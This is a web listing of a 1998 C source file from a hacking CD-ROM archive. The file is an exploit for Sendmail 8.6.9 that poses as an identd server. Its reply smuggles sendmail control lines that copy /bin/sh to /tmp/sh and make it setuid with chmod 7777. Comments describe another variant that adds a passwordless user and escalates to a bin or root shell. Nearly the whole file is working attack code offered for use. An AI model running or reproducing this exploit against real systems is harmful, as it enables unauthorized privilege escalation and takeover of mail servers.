home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / sm869.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  2KB  |  57 lines

  1. /* Sendmail 8.6.9 identd hack. */
  2.  
  3. #include <stdio.h>
  4. #include <sys/types.h>
  5. #include <sys/fcntl.h>
  6. #include <sys/time.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <unistd.h>
  10.  
  11. #define OUTPUT_BUFFER 2048   /* Output and input, */
  12. #define SOCKET_BUFFER 100    /* with which we must up-put */
  13.  
  14. /* The commands to send... This particular string tells the machine
  15.    to create a user named funkzor, with a null password, uid of 999,
  16.    and gid of 100.  It then instructs the machine to change /usr/bin/time
  17.    to mode 6777, which makes it setuid.  Once you login to the machine
  18.    (as funkzor) just type /usr/bin/time sh, and you will have a bin-owned
  19.    shell.  (perhaps root... if you're lucky)
  20. */
  21. #define EVIL_COMMAND "root\r\nCroot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\n<\"|/bin/cp /bin/sh /tmp/sh ; chmod 7777 /tmp/sh\">\r\n$rascii"
  22.  
  23.  
  24. void main()
  25. {
  26.     struct fd_set fdesc;   /* File descriptor structure */
  27.         char outbuf[OUTPUT_BUFFER];  /* Our output buffer */
  28.     char inbuf[SOCKET_BUFFER];   /* ""  input "" */
  29.  
  30.     /* Preparing to read incoming data, captain. */
  31.     FD_ZERO(&fdesc);
  32.     FD_SET(0, &fdesc);
  33.     
  34.     /* Read it, Sulu! Now! */
  35.     if(read(0, inbuf, SOCKET_BUFFER - 1)<=0)        
  36.         exit(1); 
  37.     FD_SET(0, &fdesc);
  38.  
  39.     /* to remove the /r/n at the end of inbuf */
  40.     if(inbuf[strlen(inbuf)-2]==13 || inbuf[strlen(inbuf)-2]==10)
  41.       inbuf[strlen(inbuf)-2]=0;
  42.     else
  43.       inbuf[strlen(inbuf)-1]=0;
  44.  
  45.     /* Now we send our instructions, under the guise of innocent
  46.      * ol' identd.  I find this ironic, that identd, supposedly
  47.      * a standard that would help stop "evil hacker types", became
  48.      * part of one of the bigger holes to ever hit the net.  Hmm.
  49.      * Ain't life funny that way sometimes? :)
  50.      */
  51.  
  52.     sprintf(outbuf, "%s : USERID : UNIX : %s\r\n", inbuf, EVIL_COMMAND);
  53.     write(1, outbuf, strlen(outbuf));
  54.     exit(0);
  55. }
  56.  
  57.